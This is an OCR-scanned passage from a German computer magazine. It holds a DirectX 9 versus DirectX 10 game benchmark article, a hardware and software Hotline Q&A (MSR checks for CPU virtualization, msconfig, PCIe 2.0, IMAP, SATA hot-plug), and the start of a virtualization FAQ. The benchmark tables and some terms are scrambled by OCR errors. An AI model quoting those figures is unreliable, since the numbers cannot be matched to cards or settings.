wenig Performance verliert. Für 
letztere kann es sich lohnen, in 
der Datei Bioshock.ini, die man 
im User-Verzeichnis unter „An- 
wendungsdaten/Bioshock” fin- 
det, für das „RenderDevice” den 
Wert „D3DDrv.D3DRenderDevice” 
einzutragen. Dann nutzt das Spiel 
DirectX 9, kann allerdings auch 
nicht mehr die DX10-Oberflä- 
cheneffekte darstellen. 

Die Unreal Engine 3 gehört zu 
den wenigen, die weiterhin die 
EAX-Effekte der Soundblaster- 
Karten unterstützen. Diese kön- 
nen unter Vista nur noch über 
die OpenAL-Schnittstelle ange- 


sprochen werden, die mit den 
Alchemy-Treibern von Creative 
installiert wird. Eine X-Fi-Karte 
bringt so deutlich realistischere 
Hall- und Okklusionseffekte zu 
Gehör als eine Onboard-Sound- 
karte. Spiele wie Crysis oder die 
nachfolgenden Titel berechnen 
derlei allerdings per Software 
durch die CPU. EAX bringt dabei 
keinerlei Vorteile. 


Gruselige Grafik 


Sind bei der Unreal Engine 3 die 
Unterschiede zwischen XP und 
Vista nur mess-, aber kaum spür- 
bar, haben andere Spiele deut- 
lich mehr Probleme. Im Herbst 
veröffentlichte Electronic Arts 
das Action-Rollenspiel „Hellgate: 
London“, das Spielelemente aus 
Doom und Diablo miteinander 
vermischt. Das Spiel läuft unter 
Windows XP selbst mit maxima- 
len Details auf älteren Rechnern 
flüssig. Allerdings werden die 
Augen auch nicht allzu sehr ver- 
wöhnt. Die zufallsgenerierten 
Level wurden mit matschigen 
Texturen in Grau und Braun ein- 
gefärbt. Die Figuren bewegen 
sich äußerst steif und verfügen 
zum Großteil noch nicht einmal 
über eine Kollisionsabfrage. 
Doch die hohen Frameraten 
brechen um 30 bis 50 Prozent ein, 
wenn man das Spiel unter Vista 
lädt. Die AMD/ATI-Karten verlie- 
ren weitere 20 bis 30 Prozent 
Leistung, wenn statt des DirectX- 
9-Renderers DirectX 10 aktiviert 
wird, ohne dass im Spiel irgend- 
welche Verschönerungen er- 
kennbar werden. Erst mit der Ein- 
stellung „Shader extrem“ fallen 
verbesserte Lichteffekte auf. Der 
Strahlenverlauf ist nun wie durch 
einen feinen Nebel sichtbar. Aller- 


Bioshock verwendet unter DirectX 10 kleinere Zusatzeffekte für 
Feuer, Wasser und Schatten, die das Erscheinungsbild aber nur 


unwesentlich verbessern. 
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dings bricht dadurch die Frame- 
rate auf rund ein Viertel ihres 
ursprünglichen Wertes unter Di- 
rectX 9 ein. Bei größeren Kampf- 
szenen, wie sie im späteren Ver- 
lauf zu sehen sind, ist ein flüssiges 
Spielen nicht mehr möglich. Der 
allgemein schlechte visuelle Ein- 
druck durch die düsteren Textu- 
ren und Clipping-Fehler bleibt 
aber auch hier erhalten. Der Spie- 
ler kann durch Auftraggeber und 
Händler einfach hindurchwan- 
dern. Angesichts der aktuellen 
Patch-Nummer „0.6“ beschleicht 
einen das ungute Gefühl, dass 
hier eine Beta-Version zum Voll- 
preis verkauft wurde. 

Doch nicht nur Shooter und 
Rollenspiele können aktuelle PC- 
Hardware in die Knie zwingen. 
Derlei schaffen auch Echtzeit- 
strategiespiele wie „Word in 
Conflict”. Das Spiel stellt die 
Kriegsschauplätze in einer kom- 
plett frei dreh- und zoombaren 
3D-Landschaft dar. Die vielen 
Gebäude und Truppen benöti- 
gen für ihre Texturen vor allem 
viel Speicher auf der Grafikkarte. 
Die 256 MByte der Radeon 
HD 3850 reichen hier für die 
höchsten Detailstufen nicht 
mehr aus. Wie gehabt läuft das 
Spiel unter DirectX 10 rund 
zehn Prozent langsamer als 
unter DirectX 9. Als zusätzlichen 
DX-10-Effekt werfen die Wolken 
leichte Schatten auf die Erde, 
was im Kampfgetümmel meist 
jedoch untergeht. 


Fazit 


Bislang nutzen PC-Spiele die 
neuen Shader von DirectX 10 
nur für wenige Effekte. Diese ver- 
bessern das Spielerlebnis kaum, 
verschlechtern die Bildwieder- 
holrate aber zum Teil beträcht- 
lich. Offensichtlich lassen sich 
mit über Jahre optimierten Di- 
rectX-9-Algorithmen bessere Er- 
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Grafikkarten mit nur 256 MByte Speicher können „World in 
Conflict” nur mit mittleren Details (links) flüssig darstellen. 
Die hohe Detailstufe (Mitte) bleibt Karten mit 512 MByte 
vorbehalten. Schaltet man unter Vista in der höchsten Detail- 
stufe noch Wolken hinzu (rechts), kommen selbst eine Radeon 
HD 3870 und GeForce 8800 GT ins Schwitzen. 


gebnisse erzielen als mit den bis- 
her nur in der Theorie leistungs- 
fähigeren DirectX-10-Shadern. 

Windows XP ist auch ein Jahr 
nach dem Start von Vista meist 
die bessere Spieleplattform. Dies 
wird sich so schnell nicht ändern, 
zumal auch die Grafikchips ak- 
tueller Spielkonsolen wie Play- 
station 3 und Xbox 360 das Sha- 
der-Modell 4.0 von DirectX 10 
nicht unterstützen. Immer mehr 
Spiele werden jedoch plattform- 
übergreifend programmiert. PC- 
Versionen werden dann allen- 
falls etwas aufgehübscht. 


Benchmark-Ergebnisse 


Grafikkarte Radeon HD 3850 
Betriebssystem XP (DX9) 

besser» 
Crysis (1.1.1.5767) 
sehr hoch CPU 14! 
hoch CPU u 18 
mittel CPU un 41 
niedrig CPU | 2 
Unreal Tournament 3 (1.1) 
Detailstufe 5 En 53 
Detailstufe 4 | 173 
Detailstufe 3 EEE 80 
Bioshock (1.1) 
hoch (Detailoberflächen) - 
hoch En 40 
normal 50 
Hellgate: London (0.6) 
maximal (Shader extrem) - 
maximal (Shader sehr hoch) EEE 91 


World in Conflict (1.0.0.0 b80) 
sehr hoch (Schattenwolken) - 


sehr hoch E23 
hoch un 29 
mittel En 53 


Von den hier getesteten Mo- 
dellen kann die ab 150 Euro er- 
hältliche Radeon HD 3850 per- 
formancehungrige Spiele wie 
„World in Conflict” und „Crysis” 
nur mit mittleren Details flüssig 
darstellen. Letzteres überfordert 
mit den höchsten Detaileinstel- 
lungen derzeit alle Einzelkarten- 
systeme. Es hat den Anschein, als 
hätte der Entwickler Crytek diese 
Effekte nur implementiert, um 
die Nachfrage nach der neuen 


real Engine 3 wirkt da wesentlich 
ausgewogener und ist zudem 
noch zur Xbox 360 und Playsta- 
tion 3 kompatibel. Kein Wunder, 
dass sich bereits mehrere Dut- 
zend neuer Spiele für diese En- 
gine in Entwicklung befinden. 
Angesichts der inhaltlichen 
Stagnation der PC-Titel - sowohl 
Crysis als auch Unreal Tourna- 
ment 3 unterscheiden sich spiele- 
risch nur unwesentlich von ihren 
Vorgängern - dürfte sich für viele 
Spieler allerdings die Frage stel- 
len, ob sie ihren PC überhaupt 
noch aufrüsten wollen oder das 
Geld lieber in eine der neuen 
Konsolen stecken. Denn dort 
kann man sich das Rumfummeln 
in den Konfigurationsdateien und 
das Warten auf ausgereifte Trei- 


System: Intel Core 2 Duo E6750, 2 GByte RAM (DDR2-800), P35-Chipsatz, Auflösung: 1680 x 1050, ohne AA, 
Grafikspeicher: HD 3850: 256 MByte, HD 3870, 8800 GT: 512 MByte, Angaben in Frames pro Sekunde (fps) 


Triple-SLI-Lösung von Nvidia ber gänzlich sparen. (hag) 
nebst der dafür nötigen Kilowatt- 
Netzteile anzuheizen. Epics Un- € Soft-Link 0802142 
Radeon HD 3870 GeForce 8800 GT 
Vista (DX10) XP (DX9) Vista (DX10) XP (DX9) Vista (DX10) 
besser» besser» besser» besser» besser» 
B7 7! u10 w23' u13 
13 E23 mm 19 ua 30 N 26 
mm 32 mu 48 En 37 um 55 mm 47 
HE / 1 En 102 EEE | HEN 125 EEE 105 
| 1y/ En 70 EEE 61 En 100 En 91 
HERE 63 En 74 EEE 70) EEE 106 EEE 106 
| [im 172 | [im Bir CE 107 
u 35 - En 40 - En 54 
u 37 En 47 Br 45 um 53 u 59 
u 46 EEE 62 EEE 56 ER 62 En 74 
E22 = EM 27 = EN 48 
m 37 EEE 120 EEE 19 | [3 1) 
_ Eu - mm 35 - un 31 
u 18 um 37 EN 36 un 45 wu 34 
23 044 EEE 40 wu 48 m 39 
rn 58 EN 63 EEE 56 En 66 EEE 60 
! zu den Konfigurationseinstellungen 
siehe Text S. 143 73 
145 
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Praxis | Hotline 

H OTLI N F Sie erreichen uns 
per E-Mail über 

unsere Webseite ctmagazin.de/faq, per Te- 

lefon 05 11/53 52-333 werktags 13-14 Uhr, 

per Brief (Anschrift auf S. 14) oder per Fax 

05 11/53 52-417. 


Manuelle Time-Machine- 
Sicherungen 


Das User-Interface von Apples Backup- 

Software „Time Machine”, die zu 
Mac OS 10.5 gehört, enthält leider keine Op- 
tion für manuelle Backups. Mir reichen die 
von Apple vorgegebenen stündlichen 
Sicherungen nicht aus. Ich muss mein Mac- 
Book häufiger vom externen Backup- 
Medium trennen und möchte dann jeweils 
vorher ein Backup machen. Lässt sich das 
mit einem Automator-Skript nachprogram- 
mieren? 


Das ist gar nicht nötig. Manuelle Backups 

lassen sich durchaus auch mit Time Ma- 
chine erzeugen. Klicken Sie auf den Desktop 
und öffnen Sie über das Menü die Finder-Ein- 
stellungen. Stellen Sie sicher, dass im Bereich 
„seitenleiste” die Anzeige für „Externe Fest- 
platten” eingeschaltet ist. Wenn Sie nun ein 
Finder-Fenster öffnen, sollte in der Seitenleis- 
te das Icon für die externe Festplatte ange- 
zeigt werden. Öffnen Sie dessen Kontext- 
menü (rechte Maustaste) und - voila - in der 
dritten Zeile des Menüs findet sich der Befehl 
„Backup jetzt erstellen”. (dz) 


Leopards Menüs für 
Tastaturjunkies 


Die Menübefehle sind beim Mac nur 

schwerfällig per Tastatur zu bedienen. 
Unter Windows erreicht man die mit Alt plus 
zwei oder drei Buchstaben; auf dem Mac ist 
das viel unbequemer: Strg-F2, Buchstaben 
und mehrmals Enter, um in Submenüs zu 
wechseln. Voraussetzung ist außerdem, dass 
die Tastatursteuerung mit Strg-F1 aktiviert 
wurde. Gibts da was Einfacheres? 


Leopard kennt das Kürzel Apfel-Shift-7, 

das ein automatisches Suchfeld öffnet, 
das zu jeder eingegebenen Zeichenkombi- 
nation die sie enthaltenden Menüeinträge 
anzeigt. So können Sie mit wenigen Tasten- 
drücken die Anwendung steuern, selbst 
wenn der gesuchte Menüeintrag im Unter- 
menü siebter Ebene wohnen sollte. Einziger 
Wermutstropfen: Um vom Suchfeld zum er- 
sten Treffer zu kommen, muss man unserer 
Kenntnis nach immer den Pfeil nach unten 
bemühen (oder Strg-N). 


Auch Menübefehle, denen die Anwen- 
dung kein Tastenkürzel zugedacht hat, 
lassen sich mit dem Suchfeld aufrufen. 
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Wer Apfel-Shift-7 unbequem findet, kann 
für die Funktion in den Systemeinstellungen 
unter „Hilfemenü einblenden” eine andere 
Kombination einstellen. (Hendrik Krauß/adb) 


CPU-Virtualisierungsfunktionen 
nutzbar? 


Wie lässt sich herausfinden, ob die Hard- 
ware-Virtualisierungsfunktionen meines 
Prozessors tatsächlich freigeschaltet sind? 


Windows-Tools wie AMD CPUlnfo oder 

Intels Processor Identification Utility 
(siehe Soft-Link) und die von Linux nach Ein- 
gabe von cat /proc/cpuinfo angezeigten Daten 
liefern lediglich die Information, ob der ein- 
gebaute Prozessor AMD-V beziehungsweise 
Secure Virtual Machines (SVM) oder Intels 
VT-x (alias Virtual Machine Extensions, VMX) 
grundsätzlich unterstützt. Unter Linux fin- 
den sich dann in der Datei cpuinfo entweder 
die Kürzel sum oder vmx. 

Auch wenn ein SVM- oder VMX-tauglicher 
Prozessor im System steckt, kann das BIOS 
die Nutzung dieser Funktionen unterbinden 
(siehe c't 10/07, S. 154). Nicht jedes BIOS- 
Setup bietet dabei die nötige Option, um 
diese Blockade wieder aufzuheben. Dann 
lassen sich beispielsweise keine virtuellen 
Windows-Maschinen unter Xen betreiben. 
Tools wie guest64check.exe von VMware zei- 
gen diese Blockade nicht an. 

Um auf einem AMD-Prozessor eine SVM 
zu starten, beschreibt die Hypervisor-Soft- 
ware das Bit 12 des sogenannten Extended 
Feature Enable Register (EFER) mit dem 
Wert 1. Beim EFER handelt es sich um ein Ma- 
chine Specific Register (MSR) der AMD-Pro- 
zessoren (MSR 0xc0000080, andere Schreib- 
weise: C000_0080). Das BIOS kann das Be- 
schreiben des erwähnten EFER-Bits verhin- 
dern; diese Blockadefunktion dient wohl 
unter anderem dazu, den Start abgeschotte- 
ter virtueller Maschinen ausschließlich mit 
einem digitalen Schlüssel zu ermöglichen, 
den wiederum ein eventuell vorhandenes 


Trusted Platform Module (TPM) prüft. Bei 
Intel-Prozessoren funktioniert das ähnlich 
(dazu unten mehr). 

Die SVM-Blockade steckt bei AMD-CPUs 
im Virtual Machine Control Register (VM_CR), 
wobei es sich um das MSR 0xc0010114 han- 
delt. Interessant sind die Bits Nummer 3 und 
4: Enthält Bit 4 den Wert 0, so ist der Zugriff 
auf das EFER-Bit 12 zulässig und SVMs lassen 
sich starten. Für die SVM-Sperre setzt das 
BIOS hingegen den Wert von Bit 4 des 
VM_CR auf 1 und verhindert das Überschrei- 
ben dieses Bits durch gleichzeitiges Setzen 
des Bits 3. Der binäre Inhalt des EAX-Ab- 
schnitts des MSR 0xc0010114 lautet dann 
„11000“ (Bits 4-3-2-1-0), in hexadezimaler 
Schreibweise 0x18. Achtung: Das VM_CR 
dient noch zur Steuerung weiterer Funktio- 
nen - wenn (je nach Systemkonfiguration) 
noch andere Bits gesetzt sind, ändert sich 
der Hexadezimalwert des Registers, dann 
muss man die Inhalte von Bit 4 und 3 einzeln 
heraussuchen. 

Unter Windows lässt sich der Inhalt des 
MSR 0xc0010114 mit dem Utility HWDIRECT 
(siehe Soft-Link) auslesen; dazu genügt die 
Shareware-Version dieses Programms, die 
sich nach dem Entpacken des ZIP-Archivs di- 
rekt starten lässt. Von sich aus kennt HWDI- 
RECT das gesuchte Register nicht, man muss 
es zunächst (im Bereich MSR Read/Write) mit 
Hilfe der Schaltfläche Add eintragen. Wenn 
im VM_CR dann lediglich Nullen stehen (und 
der vorhandene Prozessor SVMs unterstützt), 
sollten SVMs funktionieren. 

Unter Linux helfen die Programme aus 
den msr-tools weiter (siehe Soft-Link); sie 
funktionieren bei manchen Distributionen 
allerdings erst, nachdem man das Kernel- 
Modul msr manuell geladen hat (modprobe msr). 
Anschließend wirft der mit Root-Rechten 
auszuführende Befehl rdmsr 0xc0010114 den In- 
halt des VM_CR-Registers aus - auch hier be- 
deutet der Wert 0, dass SVMs funktionieren 
sollten. Wer sich nicht mit Bitpfriemelei quä- 
len will, kann unter Linux auch einfach einen 
Xen-Kernel ausführen und anschließend die 
Statusmeldungen durchsuchen (xm dmesglgrep 
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; n - r 
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-e VMX -e SVM) oder (sofern KVM im Kernel akti- 
viert ist) ausprobieren, ob kvm-amd oder kvm- 
intel laden. 

Bei Intel-Prozessoren mit VT-x steckt der 
VMX-Blocker im Register IA32_Feature_Con- 
trol (MSR 0x0000003a, Bits [2:0]). Enthält der 
EAX-Teil dieses Registers den Wert 1, dann 
funktioniert VT-x nicht. Die Werte 0, 06101 
(0x5) oder Ob111 (0x7) bedeuten, dass sich 
VT-x nutzen lässt. Auslesen lässt sich das 
unter Linux mit rdmsr 0x3a oder mit HWDI- 
RECT ähnlich wie oben beschrieben. 

Manchmal verändert ein reguläres BIOS- 
Update den Zustand der SVM/VMX-Bremse 
- zum Guten oder zum Schlechten. Findige 
Tüftler haben im Forum des Herstellers Pa- 
rallels einen EFI-Patch veröffentlicht, mit 
dem sich auf einigen Macs die VMX-Sperre 
lösen lassen soll, siehe Soft-Link. Dort finden 
Sie auch Verweise auf die Dokumente von 
AMD und Intel, die die erwähnten MSRs be- 
schreiben. (ciw) 
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PCI Express 2.0 


Ich habe mir eine PCle-2.0-Grafikkarte 

gekauft. Passt sie auch in mein PCle-1.1- 
Mainboard und muss ich mit Performance- 
Einbußen rechnen? 


Die über den PCI-Express-Standard wa- 

chende PCI Special Interest Group (PCI 
SIG) schreibt eindeutig vor, dass alle PCle- 
2.0-Karten auch in älteren Slots funktionieren 
müssen und umgekehrt. Theoretisch kann es 
zwar beim Einsatz von PCle-1.1-Karten in 
PCle-2.0-Slots zu Problemen kommen, weil 
es bei PCle 2.0 eine Detailänderung des Kon- 
figurationsprotokolls gab; dieses Kompatibi- 
litätsproblem sollten die Mainboard-Herstel- 
ler aber durch geschickte BIOS-Programmie- 
rung umgehen können. 

Der Hauptunterschied zwischen PCle 2.0 
und den PCle-Versionen 1.0 und 1.1 liegt in 
der maximal möglichen Übertragungsrate: 
PCle-1.x-Geräte kommunizieren auf jeder so- 
genannten Lane mit 2,5 Gigabit/s. Solche 
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nach dem Standard 2.0 müssen diesen 
Modus ebenfalls unterstützen und können 
optional auch 5 GBit/s übertragen. Mecha- 
nisch unterscheiden sich PCle-1.x und PCle- 
2.0-Slots nicht voneinander. Und zwischen 
PCle 1.0 und 1.1 besteht nach unserer Erfah- 
rung kein praktisch relevanter Unterschied. 
Ein PEG-Slot mit 16 Lanes bietet bereits 
nach PCle 1.x eine theoretische (Netto-) 
Datentransferrate von 4 GByte/s. Diese stellt 
für keine aktuelle Grafikkarte einen Engpass 
dar. Laut AMD soll sich PCle 2.0 bei Cross- 
fire-Verbünden aus mehr als zwei Grafik- 
karten lohnen. Denn dort muss beispiels- 
weise der 790FX-Chipsatz seine beiden 
x16-Ports in vier x8-Ports aufspalten. Mit 
PCle 2.0 sind dann weiterhin 4 GByte/s pro 
Port möglich. (bbe) 


Checkboxen gegen Spammer 
sichern 


Das von Ihnen vorgestellte PHP-Skript 

für Mailformulare, die vor Spammern si- 
cher sind, berücksichtigt nur Textfelder. Wie 
kann man Formulare mit Checkboxen absi- 
chern? 


H Das in c't 22/05, 5. 208 vorgestellte Skript 
(siehe auch www.heise.de/security/arti 
kel/66815) prüft jedes Formularfeld mit 
einem regulären Ausdruck; diese Ausdrücke 
stehen in einer benannten Liste, also 'feldna- 
me’ => ‚/regulärer Ausdruck/’ und so weiter. 

Eine angekreuzte HTML-Checkbox über- 
gibt beim Absenden des Formulars den als 
value angegebenen Wert; fehlt das value-Attri- 
but, setzt der Browser den Standardwert on. 
Kreuzt der Benutzer die Box nicht an, über- 
gibt der Browser weder einen Namen noch 
einen Wert - anders als bei einem leeren 
Texteingabefeld, bei dem noch der Feldna- 
me mit leerem Wert verschickt wird. Das 
Skript prüft aber nicht, ob ein Feld überge- 
ben wurde, es beachtet nur die tatsächlich 
empfangenen Felder und Werte. Eine nicht 
angekreuzte Checkbox stört also auch nicht. 
Ein Eingabefeld wie 


<input type="checkbox" name="box1" 
value="wert1"/> 


lässt sich also einfach durch Ergänzen von 
'boxl’ => ‚/Awert1$/’ gegen Missbrauch absi- 
chern. (heb) 


Mobile E-Mail 


Ich möchte gerne meine E-Mails auch 

unterwegs mit dem Handy empfangen. 
Obwohl der eingebaute Client IMAP be- 
herrscht, kann er nur auf den Posteingang 
zugreifen. Wie komme ich an die Unter- 
ordner, in die ich wichtige Nachrichten ein- 
sortiere? 


An die Unterordner kommen Sie gar 

nicht, das beherrschen die meisten ein- 
fachen IMAP-Clients einfach nicht. Es spielt 
also praktisch keine Rolle, ob Sie Mail per 
POP3 oder IMAP abfragen. Sie sollten statt- 
dessen die Strategie ändern, nach der Sie 
Ihre Mails sortieren. Schaffen Sie dazu zu- 
nächst einen Unterordner, in dem alle nicht 
wegsortierten Mails landen. Dies erledigt 
eine Regel ohne Filterkriterien, die das 
Schlusslicht bildet. 

Anschließend ändern Sie die Sortierregeln 
für die Mails, die Sie auch unterwegs lesen 
möchten. Verschieben Sie diese nicht, son- 
dern kopieren Sie sie, sodass eine Kopie einer 
jeden Mail zusätzlich im Posteingang ver- 
bleibt, der sich ja mit dem IMAP-Client abfra- 
gen lässt. Die Speicherdauer im Posteingang 
sollten Sie dann auf wenige Tage verkürzen, 
um nicht unnötig viele Mails vorzuhalten, 
denn das kostet Übertragungsvolumen und 
Speicherplatz. 

Alternativ können Sie für die mobile Nut- 
zung einen separaten E-Mail-Account ein- 
richten, an den Sie alle für die Nutzung 
unterwegs interessanten Mails in Kopie 
weiterleiten, ohne diese anschließend in 
Unterordner einzusortieren. Die umfang- 
reichsten Filter- und Sortiermöglichkeiten für 
eingehende E-Mails bietet von den Freemai- 
lern derzeit GMX. (uma) 
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Systemkonfigurationsprogramm 


Sie haben das Systemkonfigurationsprogramm verwendet, um einige Änderungen anı den 
Windows-Startoptionen vorzunehmen. 
Das Systemkonfigurationsprogramm befindet sich zurzeit im Diagnosemodus oder im Modus für 
den benutzerdefinierten Systemstart, Daher wird diese Meldung angezeigt und dieses 
Programm bei jedem Windows-Systemstart ausgeführt. 


wählen Sie den normalen Systemstart auf der Registerkarte "Allgemein", um Windows normal 
zu starten und sämtliche Änderungen, die unter Verwendung des 
Systemkonfigurationsprogramm durchgeführt wurden, rückgängig zu machen. 


Nicht totzukriegen: Auch wenn man das Häkchen bei „Meldung nicht mehr anzeigen” 
setzt, präsentiert Windows XP sie eingeschränkten Benutzern bei jedem Systemstart. 


Msconfig nervt beim 
Systemstart 


Ich arbeite normalerweise als einge- 

schränkter Benutzer unter Windows XP. 
Entsprechend einer älteren Hotline-Meldung 
aus c't habe ich das Programm msconfig.exe 
über MachMichAdmin mit Administrator- 
rechten gestartet (%SystemRoot%\pche- 
alth\helpctr\binaries\msconfig.exe) um ei- 
nige Autostarts zu deaktivieren. Seitdem 
nervt mich XP bei jedem Systemstart mit der 
Meldung, dass einige Autostarts deaktiviert 
seien (siehe Screenshot). Freundlicherweise 
enthält dieser Dialog einen Schalter, mit dem 
man ihn scheinbar abschalten kann. Wenn 
ich den setze, bekomme ich zwar keine Feh- 
lermeldung, aber der Dialog erscheint trotz- 
dem bei jedem Systemstart. Wie werde ich 
ihn los? 


Der Dialog kommt ebenfalls von mscon- 

fig.exe, das sich bei Änderungen an den 
Autostarts selbst als Autostart einträgt, 
um Ihnen den Dialog zu zeigen. Der Schalter 
sollte eigentlich diesen Autostart-Eintrag 
löschen, was aber nur mit Administrator- 
rechten geht. Dummerweise läuft das auto- 
matisch gestartete msconfig jedoch mit ein- 
geschränkten Rechten. Um den Dialog loszu- 
werden, starten Sie msconfig über MachMi- 
chAdmin mit dem Kommandozeilenschalter 
/auto: 


%SystemRoot%\pchealth\helpctr\binaries\msconfig.exe /auto 


Nun wirkt der Schalter im Dialog wie ge- 
wünscht. Ohne diesen Aufwand können Sie 
Autostarts auch mit dem Programm Autoruns 
(de-)aktivieren (siehe Soft-Link). (je/axv) 
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Netzwerk-Gerätenamen 

unter Linux ändern 
Während ich mit den Netzwerkeinstel- 
lungen unter Linux experimentiere, än- 


dert sich manchmal nach einem Fehler der 
Name der Netzwerkkarte von ethl in 
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inv3256 oder Ähnliches. Mit welchem Befehl 
kann ich das rückgängig machen, ohne den 
Rechner neuzustarten? 


Dazu eignet sich der Befehl ip aus dem 

iproute2-Paket, das die meisten moder- 
nen Distributionen mitbringen. Möchte man 
die Device-Namen von Netzwerkgeräten än- 
dern, reicht die Eingabe von ip link set Altername 
name Neuername, wobei Altername die aktuelle 
Schnittstellen-Bezeichnung ist. Iproute2 ver- 
eint außerdem zahlreiche Kommandos für die 
Netzwerkeinrichtung: Der Aufruf von ip link 
show zeigt ähnlich wie der Befehl ifconfig eine 
Übersicht der Netzwerkschnittstellen und 
gibt die aktuelle Routing-Tabelle aus. (rek) 


SATA-Laufwerke abschalten 


Ich würde gerne eine fest eingebaute 
Festplatte nur bei Bedarf aktivieren. 
Kann ich einfach einen Kippschalter in die 
Stromversorgung der SATA-Platte einbauen? 


Eine solche Bastellösung versetzt die 

Festplatten und damit auch den SATA- 
Controller in einen undefinierten Zustand. 
Die SATA-Spezifikation sieht nicht vor, dass 
Laufwerke, die nicht an der Versorgungs- 
spannung hängen, mit ihren Datenleitungen 
mit dem Controller verbunden sind. Was in 
einem solchen Zustand geschieht, ist völlig 
willkürlich. Von Abstürzen bis zu nicht er- 
kannten Laufwerken kann alles passieren. 


Bei einem Hot-Plug- 
tauglichen SATA-Steck- 
verbinder gleiten die 
Stromversorgungspins 
den Datenpins voraus. 
So steht die Laufwerks- 
elektronik immer unter 
Spannung, wenn ihre 
Datenleitungen Verbin- 
dung mit dem 
Controller haben. | 


Beim vom Standard vorgesehenen Hot- 
Plugging (beispielsweise bei Wechsel- 
rahmen) sind die Steckverbinder so ausge- 
legt, dass zuerst die Spannungsversorgung 
hergestellt wird (voreilende Kontakte) und 
dann die Datenleitungen Kontakt bekom- 
men. So befindet sich die Elektronik des 
Laufwerks immer in einem definierten 
elektrischen und logischen Zustand. Beim 
Trennen werden zuerst die Daten- und 
dann erst Versorgungsleitungen getrennt. 
Von Bastellösungen mit Schaltern in der 
Stromversorgung raten wir daher dringend 
ab. Stattdessen sollte man zu einem 
Hot-Plug-tauglichen Wechselrahmen grei- 
fen. (bbe) 


Freigaben hinter Router 


Ich habe ein WLAN als Subnetz per Rou- 

ter mit einem kabelgebundenen Netz 
verbunden. Mit dem Notebook, das am 
WLAN hängt, kann ich aber nicht auf die 
Freigaben des Desktop-PC zugreifen, den 
ich im Kabel-LAN als Server betreibe. Woran 
liegt das? 


Aktuelle Windows-Varianten aktivieren 

stets die Firewall. Die bleibt auch aktiv, 
wenn Sie Freigaben einrichten. Allerdings 
trägt Windows von sich aus Ausnahmen ein, 
sodass der Zugriff aus dem lokalen Netz her- 
aus auf freigegebene Verzeichnisse gelingt, 
nicht aber von Subnetzen aus. 

Wenn Sie aus einem anderen Netzwerk 
zugreifen wollen, das über einen Router an- 
gebunden ist, müssen Sie die auf dem Ser- 
ver gesetzten Ausnahmen erweitern. Sie fin- 
den diese unter XP und Vista in den Firewall- 
Einstellungen (öffnen Sie nicht die „Win- 
dows-Firewall mit erweiterter Sicherheit” 
von Vista, die ist unnötig kompliziert). Sie 
wählen zunächst als Programm oder Port 
„Datei- und Druckerfreigabe” aus, betätigen 
dann den Knopf „Port hinzufügen” und an- 
schließend den, der mit „Bereich ändern” 
beschriftet ist. Wählen Sie im anschließend 
aufklappenden Dialog statt „Nur für eigenes 
Netzwerk (Subnetz)” die Option „Benutzer- 
definierte Liste” und tragen Sie dort die 
Netzwerke ein, die zugreifen dürfen. 

(Ralf Schneider/ps) 
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Sinn der Sache 


? Was sind die Vorteile von Virtualisierung? 


Virtualsierungssoftware kann dem An- 

wender mit nur einem PC das Leben 
ebenso erleichtern wie einem Administrator, 
der viele Server zu betreuen hat. Ein Anwen- 
der kann beispielsweise das Wirtsbetriebs- 
system noch einmal in einer virtuellen Ma- 
schine (VM) einrichten (Lizenzbedingungen 
beachten), um gefahrlos neue Konfiguratio- 
nen oder Programme ausprobieren zu kön- 
nen. Geht etwas in der VM schief, richtet das 
beim Wirt keinen Schaden an. Alle Virtualisie- 
rer bieten Mechanismen, um Änderungen 
am Gastssystem schnell rückgängig machen 
zu können - ideale Voraussetzungen fürs Ex- 
perimentieren. 

In einer VM lässt sich auch ein anderes Be- 
triebssystem ausprobieren, ohne dass man 
dafür etwas an dem Wirt ändern müsste. Die 
Festplatten einer VM sind nämlich nichts an- 
deres als normale Dateien (Images), die der 
Virtualisierer einem Gast lediglich als Lauf- 
werke präsentiert. Auch wenn beim Umstieg 
auf ein modernes Windows eine liebgewon- 
nene Anwendung plötzlich nicht mehr funk- 
tionieren will, kann eine VM mit dem alten 
System die Rettung sein. 


Qual der Wahl 


Welche Betriebssysteme kann ich denn 
als Gast in einer virtuellen Maschine ein- 
setzen? 


Es gibt kaum ein PC-System, das Sie 

unter den drei großen Wirtssystemen 
Windows, Mac OS X (x86) und Linux nicht in 
einer VM betreiben können. Das klappt mit 
einem alten DOS ebenso wie mit einem ak- 
tuellen Windows Vista oder vielen Linux-Dis- 
tributionen. Sogar Exoten wie OS/2, FreeBSD 
oder Solaris kommen in Frage. Lediglich Mac 
OS X lässt sich nur mit viel Mühe und tatkräf- 
tiger Hilfe von Patch-Software aus dubiosen 
Quellen in eine VM zwängen. Kein Virtualisie- 
rer kommt mit allen Systemen zurecht, die 
gängigen Windows- und Linux-Systeme be- 
herrschen aber alle. 


Auf der Höhe der Zeit 


Lässt sich jede Software in einer virtuel- 
len Maschine verwenden? 
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Virtualisierung 


Antworten auf die häufigsten Fragen 


Anwendungen, die keine speziellen An- 

forderungen an die Hardware haben, 
funktionieren in der Regel auch in einer VM 
problemlos, beispielsweise Office-Pakete, 
Netzwerk-Programme wie Web-Browser und 
E-Mail-Client oder Steuer- und Finanz-Soft- 
ware. Rechenintensive Anwendungen wie 
Mathematik-Pakete laufen zwar, aber deut- 
lich langsamer. 

Lediglich Software mit speziellen Anforde- 
rungen an die Hardware bleibt außen vor. 
Dazu gehören etwa auch viele Spiele oder 
3D-Anwendungen. Was mit der meist noch 
experimentellen 3D-Unterstützung der Vir- 
tualisierer funktioniert, muss man durch Aus- 
probieren herausfinden. 


Herzenskraft 


Benötigt mein PC für den Einsatz eines 
Virtualisierers einen speziellen Prozes- 
sor? 


Nein, im Normalfall nicht. Es spielt auch 

keine Rolle, ob die x86-CPU von AMD 
oder Intel stammt. Nur wenn Sie beispiels- 
weise ein 64-Bit-Gastsystem auf einem 32- 
Bit-Wirt betreiben wollen, muss der 64-Bit- 
Prozessor spezielle Befehle beherrschen. Um 
herauszufinden, ob eine CPU für den 32-/64- 
Bit-Mischbetrieb taugt, bietet VMware 
eigens das „Processor Check Utility“ an. 


Breite Auswahl 


Welchen Virtualisierer können Sie emp- 
fehlen? 


Es gibt eine Reihe von kostenlosen Pro- 

dukten - meist ältere oder im Funktions- 
umfang reduzierte Versionen -, die aber 
trotzdem zuverlässige Dienste leisten. Die In- 
notek AG gibt „VirtualBox“ für Windows, 
Linux und Mac (Beta-Version) kostenlos ab 
(alle Downloads siehe Soft-Link). Auch Micro- 
soft verschenkt seinen „Virtual PC“, der aller- 
dings nur unter Windows läuft und keine 
USB-Geräte in einer VM unterstützt. 

Vom Virtualisierungsprimus VMware gibt 
